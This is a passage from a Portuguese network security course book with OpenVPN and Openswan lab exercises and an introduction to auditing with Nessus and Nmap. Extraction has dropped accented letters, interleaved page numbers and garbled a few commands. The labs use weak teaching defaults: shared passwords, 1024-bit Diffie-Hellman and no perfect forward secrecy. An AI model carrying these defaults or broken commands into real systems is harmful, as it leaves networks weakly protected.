Processing triggers for man-db ...
Setting up openssl (0.9.8g-15+lenny7) ...
Setting up openssl-blacklist (0.4.2) ...
Setting up liblzo2-2 (2.03-1) ...
Setting up libpkcs11-helper1 (1.05-1) ...
Setting up openvpn-blacklist (0.3) ...
Setting up openvpn (2.1~rc11-1) ...
Restarting virtual private network daemon.:.
debian:~#

Segurana de Redes e Sistemas

O projeto disponibiliza ainda, no seu site, um cliente de VPN SSL para as plataformas Micro-

166

soft Windows, Apple Mac OS X e Linux. A instalao desses clientes para Microsoft Windows
realizada via mtodo de instalao padro de aplicativos para Windows.

Configurao do OpenVPN
A configurao do OpenVPN pode ser realizada editando o arquivo de configurao padro
ou criando um novo arquivo de configurao. No caso de criar um novo arquivo, necessrio fazer referncia a esse novo arquivo de configurao na inicializao do servio.

Exemplo de configurao do servidor OpenVPN:

;local a.b.c.d
port 1194

;proto tcp
proto udp

;dev tap
dev tun
;dev-node MyTap
ca ca.crt
cert server.crt
dh dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100
;server-bridge
;push route 192.168.10.0 255.255.255.0
;push route 192.168.20.0 255.255.255.0
;client-config-dir ccd
;route 192.168.40.128 255.255.255.248
;client-config-dir ccd
;route 10.9.0.0 255.255.255.252
;learn-address ./script
;push redirect-gateway def1 bypass-dhcp

;push dhcp-option DNS 208.67.220.220


;client-to-client
;duplicate-cn
keepalive 10 120
comp-lzo
;max-clients 100

Captulo 7 - Redes Privadas Virtuais

;push dhcp-option DNS 208.67.222.222

167

;user nobody
;group nogroup
persist-key
persist-tun
status openvpn-status.log

;log

openvpn.log

;log-append

openvpn.log

verb 3
;mute 20
importante ressaltar que a VPN pode trabalhar em modo transparente (bridge) ou roteada
(routing). Desta forma, ser necessrio configurar o kernel do Linux para que trabalhe de acordo
com um dos modos, conforme realizado no captulo 3. Ser necessrio tambm ajustar as
regras de firewall para permitir o fluxo de pacotes para a interface virtual do OpenVPN.
A configurao do cliente pode ser realizada tambm por arquivo de configurao, o que
facilita a distribuio de pacotes em larga escala. Abaixo a tela de configurao para o cliente
OpenVPN, na plataforma Microsoft Windows XP.

Segurana de Redes e Sistemas

Figura 7.12
Cliente de OpenVPN
para Windows XP.

168

Roteiro de Atividades 7
Atividade 1 VPN IPSec
Nestas atividades iremos praticar os conceitos de VPN aprendidos neste captulo. Para isso
vamos implementar as tecnologias de VPN IPSec e VPN SSL.
VPN IPSec amplamente utilizada como tecnologia de VPN para interconectar redes.
Vamos implementar um tnel IPSec com o Openswan para interligar duas redes de vizinhos
no laboratrio. Essa atividade complexa e envolve a configurao em duas estaes de
alunos. Escolha um colega prximo e combine com antecedncia o que cada um vai fazer.
A cooperao e o planejamento so fatores fundamentais para o sucesso da prtica. Um
aluno vai configurar os equipamentos da Topologia A e o outro aluno vai configurar os
equipamentos da Topologia B.
Conforme ilustra a figura a seguir, iremos interligar a rede de topologia A com a rede de
topologia B, utilizando o Openswan configurado no gateway FWGW1 de cada um dos alunos.

Internet

FWGW1

DHCP

Topologia B

FWGW1

DHCP

DMZ 172.16.1.0/24

Servidor
Windows

DMZ 172.16.2.0/24

Servidor
Linux

Servidor
Linux
Rede local 10.1.1.0/24

Host Windows

Servidor
Windows

Rede local 10.1.2.0/24

Host Windows

Configure o OpenSwan no host FWGW1, para permitir a comunicao das mquinas da rede
local remota com os seus servidores da DMZ. Exemplo: se voc est configurando o cenrio
da Topologia A, voc vai configurar o Openswan para permitir que os usurios da rede
10.1.2.0/24 acessem os servidores de sua DMZ, rede 172.16.1.0/24.

Captulo 7 - Roteiro de Atividades

Topologia A

169

Passo 1

Acesse o host FWGW1, atualize a lista de pacotes do Debian e instale o pacote


Openswan:

# apt-get update
# apt-get install openswan
Voc ser questionado se quer utilizar Opportunistc Encryption (OE): responda No.
Ser questionado tambm se quer gerar as chaves RSA. Responda No,
porque utilizaremos uma frase-senha (Pre shared key).
Passo 2

Aguarde seu colega concluir o Passo 1 para iniciarem juntos o Passo 3.

Passo 3

Edite o arquivo de configurao do Openswan localizado em /etc/ipsec.conf


e adicione a seguinte conexo:

conn vpnlabrnp
left=X.X.X.X
leftsubnet=10.1.1.0/255.255.255.0
right=Y.Y.Y.Y
rightsubnet=10.1.2.0/255.255.255.0
ike=aes256-sha-modp1024
esp=aes256-sha1
pfs=no
ikelifetime=8h
keylife=8h
dpddelay=30
dpdtimeout=120
dpdaction=hold
authby=secret
auto=start
Onde X.X.X.X o endereo IP que foi atribudo na interface eth0
(definida por DHCP) do host FWGW1-A.
Onde Y.Y.Y.Y o endereo IP que foi atribudo na interface eth0
(definida por DHCP) do host FWGW1-B.
Left o Grupo A.
Right o Grupo B.
Passo 4

Para definir a frase-senha (Pre shared key), vamos editar o arquivo


/etc/ipsec.secrets
Ateno: observe a ordem dos hosts:
Para o Grupo A:

Segurana de Redes e Sistemas

Y.Y.Y.Y X.X.X.X : PSK vpnipsec

170

Para o Grupo B:

X.X.X.X Y.Y.Y.Y : PSK vpnipsec


Passo 5

Para iniciar a VPN IPSec, temos de iniciar o servio nos dois gateways VPN
(FWGW1-A e FWGW1-B):

# /etc/init.d/ipsec start
# /etc/init.d/ipsec restart

Passo 6

Verifique se a conexo IPSec foi estabelecida:

# ipsec auto status


Passo 7

Verifique a conectividade com testes de ping para o host Windows XP de seu


colega de trabalho. Por exemplo, se voc Grupo A, no host Windows XP, faa:

C:\> ping 10.1.2.10

Para esta atividade recomendado deixar o firewall do host FWGW1 inicialmente


desabilitado. Apenas configure o firewall do FWGW1 aps obter xito na configurao da VPN. Isso diminuir as possibilidades de falha na comunicao.

Atividade 2 VPN SSL


Nesta atividade, iremos configurar um servidor e um cliente para estabelecer uma sesso VPN
SSL. Para o estabelecimento da sesso VPN SSL, utilizaremos o OpenVPN configurado como
servidor no host GWFW1 e o cliente instalado na estao de trabalho da rede Local Windows XP.
1. Configurar o host FWGW1 como servidor de VPN SSL, que receber conexes na interface

externa conectada internet de um vizinho de laboratrio.


Passo 1

Instale o OpenVPN no gateway Linux FWGW1 com o comando:

# apt-get install openvpn


Para gerar os certificados, vamos utilizar o conjunto de scripts EASY-RSA,
que acompanha o pacote do OpenVPN.
Entre no diretrio /usr/share/doc/openvpn/examples/easy-rsa/2.0 e utilize os
seguintes comandos para inicializar as configuraes do script:

# . ./vars
# ./clean-all
Para gerar os certificados do CA, utilize o seguinte
comando:
# ./build-ca
Sero solicitados os parmetros do certificado. Exemplo:

Country Name (2 letter code) [US]:BR


State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
Organization Name (eg, company) [Fort-Funston]:Rede
Nacional de Pesquisa
Organizational Unit Name (eg, section) []: Escola Superior
de Redes
Common Name (eg, your name or your servers hostname)
[Fort-Funston CA]:ca.rnp.br
Email Address [me@myhost.mydomain]:ca@rnp.br

Captulo 7 - Roteiro de Atividades

Passo 2

171

Passo 3

Para gerar o certificado do servidor OpenVPN, vamos utilizar o comando:

# ./build-key-server FWGW1-G
Sero solicitadas informaes para o certificado do servidor.
Podemos utilizar o exemplo:

Country Name (2 letter code) [US]:BR


State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia

Organization Name (eg, company) [Fort-Funston]: Rede


Nacional de Pesquisa
Organizational Unit Name (eg, section) []:Escola Superior de
Redes
Common Name (eg, your name or your servers hostname)
[FWGW1-A]:fwgw1-G.esr.rnp.br
Email Address [me@myhost.mydomain]:admin@esr.rnp.br

Please enter the following extra attributes


to be sent with your certificate request
A challenge password []:
Ao final sero realizadas duas perguntas. As respostas devem ser positivas.
Passo 4

Para gerar o certificado do cliente, podemos utilizar o comando:


# ./build-key clienteXP
Ser solicitado tambm os dados para o certificado do cliente, podemos
utilizar o exemplo:

Country Name (2 letter code) [US]:BR


State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
Organization Name (eg, company) [Fort-Funston]: Rede
Nacional de Pesquisa
Organizational Unit Name (eg, section) []:Escola Superior de
Redes
Common Name (eg, your name or your servers hostname)
[FWGW1-A]:clientexp.esr.rnp.br
Email Address [me@myhost.mydomain]:aluno@esr.rnp.br

Please enter the following extra attributes


to be sent with your certificate request
Segurana de Redes e Sistemas

A challenge password []:

172

Ao final sero realizadas duas perguntas. As respostas devem ser positivas.


Passo 5

necessrio gerar tambm os parmetros para o Diffie Hellman; para isso,


utilize o comando:

# ./build-dh

Passo 6

Os certificados foram gerados no subdiretrio keys. Vamos copiar os certificados


necessrios para o servidor para o diretrio /etc/openvpn/keys com os comandos:

# mkdir /etc/openvpn/keys
# cp keys/ca.crt /etc/openvpn/keys
# cp keys/FWGW1-G.crt /etc/openvpn/keys
# cp keys/FWGW1-G.key /etc/openvpn/keys
# cp keys/dh1024.pem /etc/openvpn/keys
Para aumentar ainda mais o nvel de segurana, vamos gerar uma chave
esttica que deve ser configurada tanto no servidor quanto nos clientes da
VPN. Para isso execute dentro do diretrio /etc/openvpn/keys (essa chave ser
utilizada em outra atividade):

# openvpn --genkey --secret static.key


Passo 7

necessrio editar o arquivo de configurao do OpenVPN. No host FWGW1,


crie um arquivo com o seu editor de texto: /etc/openvpn/openvpn.conf.
Podemos utilizar o seguinte arquivo de configurao como exemplo:

port 1194
proto udp
dev tun

ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/FWGW1-G.crt
dh /etc/openvpn/keys/dh1024.pem

server 10.8.G.0 255.255.255.0


ifconfig-pool-persist ipp.txt
push route 10.1.G.0 255.255.255.0
push route 172.16.G.0 255.255.255.0

keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log

Passo 8

Inicie o servidor OpenVPN com o comando:

# /etc/init.d/openvpn start
Passo 9

Fornea as chaves do cliente para o seu colega de laboratrio utilizar na


estao Windows XP que ser utilizada por ele para estabelecer a VPN. Voc
precisa fornecer os seguintes arquivos:

keys/clienteXP.crt
keys/clienteXP.key
keys/ca.crt
keys/dh1024.pem

Captulo 7 - Roteiro de Atividades

verb 3

keys/static.key
173

Configure o host Windows XP para estabelecer a conexo VPN SSL com o gateway de seu
colega. Iremos utilizar o cliente de VPN disponibilizado no site do OpenVPN.
Passo 1

A partir do host Windows XP, com um navegador, entre no site do OpenVPN


(http://openvpn.net/) faa o download da ltima verso do cliente OpenVPN
para Windows XP e proceda com a instalao do cliente. Por exemplo:
http://swupdate.openvpn.net/community/releases/openvpn-2.1.4-install.exe

Passo 2

Coloque os certificados fornecidos pelo seu colega de laboratrio na pasta:

C:\Program Files\OpenVPN\config
Passo 3

Crie o arquivo de configurao para a conexo VPN:

C:\Program Files\OpenVPN\config\Lab07SEG2.ovpn
Com o seguinte contedo:

client
dev tun
proto udp

remote Y.Y.Y.Y 1194


resolv-retry infinite
nobind

persist-key
persist-tun

ca ca.crt
cert clienteXP.crt
key clienteXP.key

verb 3
Onde Y.Y.Y.Y o endereo pblico (interface eth0) do firewall (FWGW1) do seu
colega de laboratrio, onde ser estabelecida a VPN.
Passo 4

Abra o Windows Explorer na pasta de configurao do OpenVPN:

C:\Program Files\OpenVPN\config

Segurana de Redes e Sistemas

Clique com o boto direito do mouse sobre o arquivo de configurao criado


no passo anterior.

174

Escolha a opo Start OpenVPN on this config file.

Verifique o funcionamento com testes de ping. Ex.:

C:\>ping 172.16.G.10

Pinging 172.16.G.10 with 32 bytes of data:

Reply from 172.16.G.10: bytes=32 time=5ms TTL=63


Reply from 172.16.G.10: bytes=32 time=4ms TTL=63
Reply from 172.16.G.10: bytes=32 time=2ms TTL=63
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63

Ping statistics for 172.16.1.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 2ms, Maximum = 5ms, Average = 4ms
C:\>ping 10.1.G.10

Pinging 10.1.G.10 with 32 bytes of data:

Reply from 10.1.G.10: bytes=32 time=5ms TTL=64


Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64

Ping statistics for 10.1.G.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 5ms, Average = 2ms

C:\>

Captulo 7 - Roteiro de Atividades

Passo 5

175

Atividade 3 Servidor VPN SSL para mltiplos clientes


Nesta atividade, vamos realizar uma configurao mais avanada do OpenVPN. O objetivo
implementar uma soluo de VPN para vrios clientes simultneos. A prxima figura ilustra
como seria essa topologia:

Internet

Topologia A

FWGW1

Host
Windows

DHCP

Host
Windows

DMZ 172.16.1.0/24

Servidor
Windows

Host
Windows

Servidor
Linux
Rede local 10.1.1.0/24

Segurana de Redes e Sistemas

Host Windows

176

1. Vamos configurar o host FWGW1 como servidor de VPN SSL para mltiplos clientes, que

receber conexes na interface externa conectada internet.


Caso no exista, crie um usurio chamado aluno com a senha rnpesr

#adduser aluno
Para atender necessidade acima, ser necessrio, ainda, inserir uma
regra de firewall para realizar o NAT de todos os pacotes cuja origem seja a
rede VPN e o destino seja as mquinas da rede interna.

#/sbin/iptables t nat -A POSTROUTING -s


10.8.G.0.0/255.255.255.0 -o eth0 -j MASQUERADE
Modificar o arquivo /etc/openvpn/server.conf com o contedo abaixo.
Observe que vrias linhas que esto comentadas poderiam ser utilizadas
no seu ambiente. Digite apenas as linhas que no esto comentadas.

;;;;;;;;;;;;;;;;;;
; confs do servico
;;;;;;;;;;;;;;;;;;
mode server

# Habilita modo site-to-client

tls-server

# Servidor de Certificado

proto udp

# Protocolo

port 1194

# Porta

dev tun

# Nome para interface virtual

max-clients 10

# Limita a quantidade mxima de

clientes

;;;;;;;;;;;;;;;;;;
; confs dos certificados
;;;;;;;;;;;;;;;;;;;;;;;;
dh /etc/openvpn/keys/dh1024.pem
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/FWGW1-G.crt
key /etc/openvpn/keys/ FWGW1-G.key
tls-auth /etc/openvpn/keys/static.key
duplicate-cn

#permite vrios clientes com nica chave

;;;;;;;;;;;;;;;;;;;;;
;confs de rede
;IP-SRV 10.8.G.1 /
;IP-NWK 10.8.G.0
;;;;;;;;;;;;;;;;;;;;;
# fornece a subrede da VPN (implica automaticamente tls)
server 10.8.G.0 255.255.255.0
#define as rotas para os clientes
push route 10.1.G.0 255.255.255.0
push route 172.16.G.0 255.255.255.0
# fixar endereos ips para clientes

Captulo 7 - Roteiro de Atividades

Passo 1

ifconfig-pool-persist ipp.txt
177

;;;;;;;;;;;;;;;;;;;;;;;;
;Ativa compactao de pacotes
;;;;;;;;;;;;;;;;;;;;;;;;
comp-lzo

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;confs de manuteno de estado
; do tunel por ping
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ping 10
push ping-restart 60
keepalive 10 120
persist-key
persist-tun
tls-timeout 120

;;;;;;;;;;;;;;;;;;;;;;;;
;confs de armazenamento
; de logs
;;;;;;;;;;;;;;;;;;;;;;;;
status-version 2
status /var/log/openvpn-status.log
log-append

/var/log/openvpn.log

verb 4

# Versao do status
# Local de armaz status
# Local de armaz log
# nivel detalhamento

;;;;;;;;;;;;;;;;;;;;;
;confs do modulo PAM
;;;;;;;;;;;;;;;;;;;;;
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
username-as-common-name

Reinicie o servidor OpenVPN

Segurana de Redes e Sistemas

# /etc/init.d/openvpn restart

178

Antes de continuar, verifique se os horrios de todos os


equipamentos esto sincronizados.

Passo 2

Agora vamos configurar um cliente para o OpenVPN. Crie o arquivo client.


ovpn na pasta C:\Program Files\OpenVPN\config com o contedo abaixo:

remote Y.Y.Y.Y
proto udp
port 1194
client
pull
dev tun
comp-lzo
keepalive 10 120
persist-key
persist-tun
float
tls-client
dh dh1024.pem
ca ca.crt
cert clienteXP.crt
key clienteXP.key
tls-auth static.key
auth-user-pass
Onde Y.Y.Y.Y o endereo pblico (interface eth0) do firewall (FWGW1) do
seu colega de laboratrio, onde ser estabelecida a VPN.
Abra o Windows Explorer na pasta de configurao do OpenVPN:

C:\Program Files\OpenVPN\config
Clique com o boto direito do mouse sobre o arquivo de configurao
criado no passo anterior.

Escolha a opo Start OpenVPN on this config file.

Captulo 7 - Roteiro de Atividades

Passo 3

179

Passo 4

Verifique o funcionamento com testes de ping. Ex.:

C:\>ping 172.16.G.10

Pinging 172.16.G.10 with 32 bytes of data:

Reply from 172.16.G.10: bytes=32 time=5ms TTL=63


Reply from 172.16.G.10: bytes=32 time=4ms TTL=63
Reply from 172.16.G.10: bytes=32 time=2ms TTL=63
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63

Ping statistics for 172.16.1.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 2ms, Maximum = 5ms, Average = 4ms

C:\>ping 10.1.G.10

Pinging 10.1.G.10 with 32 bytes of data:

Reply from 10.1.G.10: bytes=32 time=5ms TTL=64


Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64

Ping statistics for 10.1.G.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 5ms, Average = 2ms

Segurana de Redes e Sistemas

C:\>

180

8
Realizar uma auditoria com a ferramenta Nessus, diferenciar anlise de
vulnerabilidades de testes de penetrao e estudar conceitos relacionados
auditoria de Segurana da Informao.

da Informao com a ferramenta Nessus.

conceitos

Anlise de vulnerabilidades, testes de penetrao e auditorias de Segurana

Introduo
Podemos definir auditoria como a medio de algo contra um padro. Apesar de estarmos
tratando de Segurana da Informao, o conceito de auditoria pode ser aplicado em qualquer rea, como qualidade, ambiental, financeira, de conformidade etc.
Quando tratamos especificamente de auditoria de SI, podemos estar auditando o cumprimento de uma poltica de segurana, a eficcia de um novo sistema de segurana (como
um firewall), se um sistema est com todas as correes conhecidas aplicadas, entre
outros. Neste captulo, vamos tratar especificamente de auditoria de segurana, utilizando
ferramentas e tcnicas para verificar se as implementaes de segurana realizadas nos
captulos anteriores esto provendo o nvel de segurana especificado. Entre as tcnicas
utilizadas em auditorias, as mais comuns so a anlise de vulnerabilidades e os testes de
penetrao (penetration testing ou pentest).
importante ressaltar que este captulo trata apenas da auditoria de dispositivos de segurana, sem entrar em questes de polticas, anlise de risco e outros tpicos relacionados
governana e normatizao. Esses assuntos so tratados em detalhes no curso Gesto da
Segurana da Informao NBR 27001 e NBR 27002, oferecido pela Escola Superior de Redes.

Exerccio de nivelamento 1 e
Auditoria de Segurana da Informao
O que voc entende por auditoria de segurana da informao?

Captulo 8 - Auditoria de Segurana da Informao

objetivos

Auditoria de Segurana
da Informao

181

Como a auditoria de dispositivos de segurana realizada na sua organizao?

Anlise de vulnerabilidades
Vulnerabilidade:

11 Falha em um sistema computacional.


11 Bugs (software).
11 Falha de configurao.
Sistemas vulnerveis:
11 Software.
11 Sistema operacional.
11 Roteador.
11 Protocolo.
11 Hardware.
Explorao de vulnerabilidade:
11 Estouros de pilha.
11 Negao de servios.
11 Acesso irrestrito.
Uma vulnerabilidade pode ser definida como uma brecha em um sistema computacional.
Quando tratamos de programas (software), essas vulnerabilidades so muitas vezes chamadas
de bugs. Um sistema vulnervel pode ser um software, um sistema operacional, um roteador,

Bug

um protocolo ou at um hardware. Essas vulnerabilidades podem ser exploradas com o intuito

Falha ou vulnerabilidade
em um programa ou
sistema.

de subverter o sistema em questo, causando indisponibilidade, obtendo controle sobre ele,


acessando dados sensveis ou utilizando o sistema para atacar outros sistemas.
Existem diversos tipos de vulnerabilidades, sendo os mais comuns as vulnerabilidades de
software, causadas muitas vezes por validao insuficiente dos parmetros recebidos, e as
vulnerabilidades em protocolos ou servios. Essas vulnerabilidades podem levar a estouros
de pilha (buffer overflow), negao de servios (DoS e DDoS), e at a acesso irrestrito ao

DoS

sistema vulnervel.

Denial of Service a
negao ou indisponibilidade de um servio
causada por um ataque.

Essas vulnerabilidades normalmente so descobertas por pesquisadores, que podem ser da


prpria empresa que fabrica o produto ou pesquisadores independentes, que costumam notificar as empresas sobre a falha para que elas possam lanar correes antes da divulgao

Segurana de Redes e Sistemas

pblica. Infelizmente, muitos administradores no aplicam as correes de segurana dos

182

fabricantes nos sistemas sob sua administrao, de modo que estes ficam vulnerveis a falhas
conhecidas e amplamente divulgadas. Uma forma eficiente de verificar se uma rede, aplicao
ou sistema operacional est suscetvel a determinadas falhas com o uso de ferramentas de
anlise de vulnerabilidades. Essas ferramentas utilizam assinaturas ou regras que simulam
falhas conhecidas e produzem um relatrio com os problemas encontrados e possveis solues. importante, porm, salientar que a anlise de vulnerabilidade no substitui o controle
da aplicao de correes dos fabricantes dos produtos utilizados em uma organizao, pois
confiar na ferramenta pode levar no aplicao de uma correo caso ela esteja desatualizada ou mesmo no tenha sido atualizada para verificar uma vulnerabilidade especfica.

DDoS
Distributed Denial of
Service o ataque de
negao de servio
realizado de forma distribuda e coordenada

Como novas falhas so encontradas todos os dias, uma boa ferramenta de anlise de vulnerabilidades deve ser constantemente atualizada, de modo que possa detectar as falhas mais
recentes descobertas. Existe atualmente uma srie de ferramentas de anlise de vulnerabilidades, gratuitas e comerciais. Algumas ferramentas gratuitas / open source: Nmap, Nessus,
OpenVas, Microsoft MBSA; comerciais: Rapid7 NeXpose, eEye Retina, GFI LANguard, IBM
Internet Scanner.
A seguir, detalharemos o uso da ferramenta Nessus, que gratuita para fins no comerciais
e pode ser obtida livremente na internet.

Exerccio de fixao 1 e
Anlise de vulnerabilidades
Como pode ser realizada uma anlise de vulnerabilidades?

Instalao do Nessus
O Nessus uma ferramenta de anlise de vulnerabilidades, atualmente mantida pela
empresa Tenable Network Security. Apesar de originalmente ser uma ferramenta open
source, hoje a sua licena permite o uso gratuito apenas residencial e para treinamento. O
uso comercial necessita da aquisio de uma licena especfica. Por conta dessas mudanas,
foi criado um novo produto, a partir da ltima verso livre do Nessus, atualmente conhecido
como OpenVAS. Por questes didticas e pelo fato de estar mais adequado ao laboratrio
prtico, utilizaremos o Nessus nas atividades.
Para instalar o Nessus necessrio baixar o pacote especfico para o Linux Debian, utilizado
no laboratrio, uma vez que a verso mais recente ainda no se encontra disponvel nos
repositrios para instalao com apt-get. O download do Nessus pode ser feito no seguinte
endereo: http://www.nessus.org/
A instalao segue os seguintes passos:
1. Baixe o pacote para Debian 5.0 (32 bits) no site indicado.
2. Instale o pacote com o comando dpkg i <nome do pacote>. A instalao pode demorar um

3. Acesse o endereo http://www.nessus.org/register para obter uma chave de registro.

Para registrar o Nessus para uso domstico, ser necessrio fornecer um endereo de
correio eletrnico, para que a chave seja enviada. No e-mail recebido, encontra-se referncia ao comando necessrio para inserir a chave na ferramenta:
/opt/nessus/bin/nessus-fetch --register <chave de ativao>.
4. Execute o comando /opt/nessus/sbin/nessus-adduser para criar um usurio com direitos de

administrador para o Nessus.

FWGW1:~# /opt/nessus/sbin/nessus-adduser
Login : rnp
Login password :

Captulo 8 - Auditoria de Segurana da Informao

pouco, seja paciente.

Login password (again) :


183

Do you want this user to be a Nessus admin user ? (can upload


plugins, etc...) (y/n) [n]: y
User rules
---------nessusd has a rules system which allows you to restrict the hosts
that rnp has the right to test. For instance, you may want
him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are
done :
(the user can have an empty rules set)

Login
Password

: rnp
: ***********

This user will have admin privileges within the Nessus server
Rules

Is that ok ? (y/n) [y] y


User added
Por fim, inicie o Nessus com o comando /etc/init.d/nessusd start.

Auditoria com o Nessus


Instalao:

11 Baixar o pacote.
11 Instalar o pacote (dpkg i <pacote>).
11 Obter chave de registro.
11 Criar um usurio no Nessus.

Segurana de Redes e Sistemas

11 Iniciar o Nessus.

184

Auditoria:
11 Criao de uma poltica e de uma varredura.

Iniciando a varredura
Para realizar uma auditoria, necessitamos inicialmente acessar o servidor Nessus no endereo:
https://<servidor_nessus>:8834
Entre com o usurio e a senha, criados nas etapas anteriores.

Figura 8.1
Tela de login
do Nessus.

Atravs da tela principal do Nessus, podemos criar uma poltica (policy), para ser usada na
auditoria. Clique no boto Add, para adicionar uma poltica. Na prxima tela, nomeie essa

Figura 8.2
Poltica.

Captulo 8 - Auditoria de Segurana da Informao

poltica. Inicialmente, deixaremos os valores padro.

185

Aps criar a poltica, salve-a e crie uma varredura (scan). Defina um nome, escolha a poltica
recm-criada e a rede que ser auditada. Neste exemplo, auditaremos a nossa rede de
servidores (172.16.1.0/24).

Figura 8.3
Configurao
Nessus.

Por fim, iniciaremos a auditoria clicando no boto Launch scan para iniciar a auditoria, que

Segurana de Redes e Sistemas

aps seu trmino ter o relatrio disponvel na guia Reports, conforme a prxima tela.

186

Figura 8.4
Relatrio
do Nessus.

Nos relatrios, podemos verificar as vulnerabilidades encontradas, classificadas por tipo e


diferenciadas por servidor auditado.

Exemplo de auditoria em firewall


ivocarv$ nmap 192.168.1.0/24

Starting Nmap 5.00 ( http://nmap.org ) at 2010-12-30 17:58 BRT


Interestingportson 192.168.1.1:
Notshown: 997 closedports
PORT

STATE SERVICE

23/tcp

open

telnet

80/tcp

open

http

5431/tcp open

park-agent

O horrio do firewall est correto? Ele est sendo sincronizado com uma fonte de tempo confivel?
Como foi dito, auditoria de segurana um assunto vasto. Podemos auditar um permetro,
uma rede, um sistema operacional, uma aplicao ou um ativo de rede especfico como um
roteador, switch, hub. Neste captulo veremos um exemplo de auditoria em um firewall.
Normalmente uma auditoria realizada com base em uma norma ou boas prticas em segurana. Neste exemplo estaremos realizando uma auditoria frente s boas prticas.
Podemos destacar alguns aspectos que sero analisados nesta auditoria:

11 Arquitetura do firewall.
11 Testando o firewall.
11 Testando as regras do firewall.
11 Alertas e registros.

Arquitetura do firewall
Neste ponto da auditoria, estamos preocupados se a arquitetura definida realmente cumpre
os objetivos que foram definidos. O auditor deve verificar as seguintes questes, entre outras:
11 Diferentes redes ligadas ao firewall esto fisicamente separadas?

ele monitorado).
11 Como o firewall est controlando o fluxo de informao?
11 O diagrama lgico do permetro est correto?
11 A segmentao realizada suficiente?
22 Deve-se adicionar ou remover um firewall?
22 Deve-se adicionar ou remover interfaces de rede?

Testando o firewall
Existem recursos de segurana especficos para a plataforma que est sendo auditada?
Eles esto bem configurados?

Captulo 8 - Auditoria de Segurana da Informao

11 Existem hubs sendo usados na rede? (Hubs podem ter todo o trfego que passa por

187

Existem duas categorias diferentes de firewall: os que rodam em cima de um sistema operacional e os chamados appliances, que so equipamentos especficos que fazem o papel

Appliance

de firewall (ex.: um switch com firewall embutido, um roteador com filtros de pacotes, um

Servio que executa


dentro de um hardware
dedicado e otimizado
para a aplicao
em questo.

firewall embutido em uma caixa fsica).


Cada tipo tem suas vantagens e desvantagens: os baseados em sistemas operacionais so
mais flexveis, porm so suscetveis a vulnerabilidades no sistema operacional usado; os
appliances so normalmente mais seguros de fbrica, porm normalmente so proprietrios e ser preciso confiar no fabricante no que tange segurana.
Neste ponto da auditoria, as seguintes questes so importantes:
11 Quais servios esto executando no firewall? Eles so necessrios? Eles so seguros?
11 Existem correes de segurana que podem ser aplicadas no appliance ou no
sistema operacional?
11 Quais as recomendaes bsicas de configurao do fabricante? Elas foram aplicadas?
11 Existem acessos de administrador ao firewall? Eles esto com o mnimo
de permisso possvel?
11 Uma ferramenta de auditoria relata algum problema com o firewall?
11 Existem recursos de segurana especficos para a plataforma que est sendo auditada?
Eles esto bem configurados?

Testando as regras do firewall


As bases de regras de um firewall costumam crescer com o tempo, por conta de solicitaes
de incluso de novos servidores e novos servios oferecidos na rede, e tambm de conexes
com novas redes. Aps alguns meses de manuteno das regras de um firewall, elas podem
se tornar bastante complexas. Essa complexidade pode esconder regras redundantes, isto
, regras temporrias que nunca foram removidas ou at mesmo regras incorretas que
ficaram esquecidas.
O auditor deve analisar as regras do firewall, de modo a encontrar e eliminar essas inconsistncias, alm de procurar simplificar as regras para facilitar uma visualizao futura. A ideia
final minimizar ao mximo a quantidade de regras. Essa reduo no s tornar o seu
firewall mais simples, como mais rpido, visto que ter menos regras para processar.
A seguir algumas consideraes que devem ser avaliadas pelo auditor:
11 Eliminar regras desnecessrias.
11 Combinar regras repetitivas.
11 Eliminar regras no autorizadas.

Segurana de Redes e Sistemas

11 Terminar com o mnimo possvel de regras.


11 Documentar as regras.
11 Verificar regras que realizam registros de acesso:
22 Somente registrar o necessrio.
22 Registros excessivos podem ocupar muito espao e diminuir o desempenho.
11 Verificar a existncia de regras de bloqueio padro.
11 Verificar se as regras so especficas.
22 Princpio do menor privilgio.
11 Utilizar ferramentas de varredura para validar as regras, como Nmap.
188

O Nmap uma ferramenta simples e prtica para validar regras de firewall, verificar as
portas abertas de um servidor ou at avaliar os servios em uma rede inteira. Suporta
diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window), M (Maimon), U (UDP),
N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP), O (IP protocol)
Neste exemplo, executamos o Nmap com as opes padro e passamos como parmetro a rede
192.168.1.0/24, que corresponde ao endereo classe C 192.168.1.0 (mscara 255.255.255.0). Note
que o Nmap apresenta apenas os endereos IP que esto disponveis, mostrando as portas
abertas em cada servidor.
Alguns parmetros interessantes do Nmap:

11 -O realiza uma tentativa de detectar o sistema operacional da mquina analisada.


11 -P0 realiza a varredura da mquina, mesmo que ela no responda ao ping. til em
servidores que esto sendo filtrados por firewalls.
11 -v aumenta a quantidade de informao apresentada.
